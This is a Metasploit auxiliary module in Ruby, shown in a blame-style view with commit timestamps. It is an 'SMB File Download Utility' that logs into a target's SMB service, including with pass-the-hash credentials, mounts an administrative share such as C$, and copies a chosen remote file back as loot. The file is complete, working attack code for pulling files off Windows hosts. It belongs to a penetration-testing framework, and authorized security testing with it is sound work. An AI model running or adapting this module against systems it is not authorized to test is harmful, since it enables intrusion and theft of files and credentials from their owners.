2013-10-22 20:31:56 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
|
|
|
# Exploit mixins should be called first
|
|
|
|
include Msf::Exploit::Remote::SMB
|
|
|
|
include Msf::Exploit::Remote::SMB::Authenticated
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
|
|
|
# Aliases for common classes
|
|
|
|
SIMPLE = Rex::Proto::SMB::SimpleClient
|
|
|
|
XCEPT = Rex::Proto::SMB::Exceptions
|
|
|
|
CONST = Rex::Proto::SMB::Constants
|
|
|
|
|
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'SMB File Download Utility',
|
|
|
|
'Description' => %Q{
|
2014-09-21 23:35:26 +00:00
|
|
|
This module downloads a file from a target share and path. The usual reason
|
2013-10-28 18:48:25 +00:00
|
|
|
to use this module is to work around limitations in an existing SMB client that may not
|
|
|
|
be able to take advantage of pass-the-hash style authentication.
|
2013-10-22 20:31:56 +00:00
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
2013-10-23 01:13:30 +00:00
|
|
|
'mubix' # copied from hdm upload_file module
|
2013-10-22 20:31:56 +00:00
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE
|
|
|
|
)
|
|
|
|
|
|
|
|
register_options([
|
|
|
|
OptString.new('SMBSHARE', [true, 'The name of a share on the RHOST', 'C$']),
|
2013-10-23 17:22:49 +00:00
|
|
|
OptString.new('RPATH', [true, 'The name of the remote file relative to the share'])
|
2013-10-22 20:31:56 +00:00
|
|
|
], self.class)
|
|
|
|
|
|
|
|
end
|
|
|
|
|
2013-10-23 17:22:49 +00:00
|
|
|
def smb_download
|
2013-10-23 17:16:18 +00:00
|
|
|
print_status("Connecting to the #{rhost}:#{rport}...")
|
2013-10-22 20:31:56 +00:00
|
|
|
connect()
|
|
|
|
smb_login()
|
|
|
|
|
|
|
|
print_status("Mounting the remote share \\\\#{datastore['RHOST']}\\#{datastore['SMBSHARE']}'...")
|
|
|
|
self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")
|
|
|
|
|
|
|
|
print_status("Trying to download #{datastore['RPATH']}...")
|
|
|
|
|
2013-10-23 17:16:18 +00:00
|
|
|
data = ''
|
2013-10-22 20:31:56 +00:00
|
|
|
fd = simple.open("\\#{datastore['RPATH']}", 'ro')
|
2013-10-23 17:16:18 +00:00
|
|
|
begin
|
|
|
|
data = fd.read
|
|
|
|
ensure
|
|
|
|
fd.close
|
|
|
|
end
|
2013-10-23 17:13:05 +00:00
|
|
|
|
|
|
|
fname = datastore['RPATH'].split("\\")[-1]
|
|
|
|
path = store_loot("smb.shares.file", "application/octet-stream", rhost, data, fname)
|
|
|
|
print_good("#{fname} saved as: #{path}")
|
2013-10-22 20:31:56 +00:00
|
|
|
end
|
|
|
|
|
2013-10-23 17:22:49 +00:00
|
|
|
def run
|
|
|
|
begin
|
|
|
|
smb_download
|
|
|
|
rescue Rex::Proto::SMB::Exceptions::LoginError => e
|
|
|
|
print_error("Unable to login: #{e.message}")
|
|
|
|
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
|
|
|
|
print_error("Unable to download the file: #{e.message}")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2013-10-22 20:31:56 +00:00
|
|
|
end
|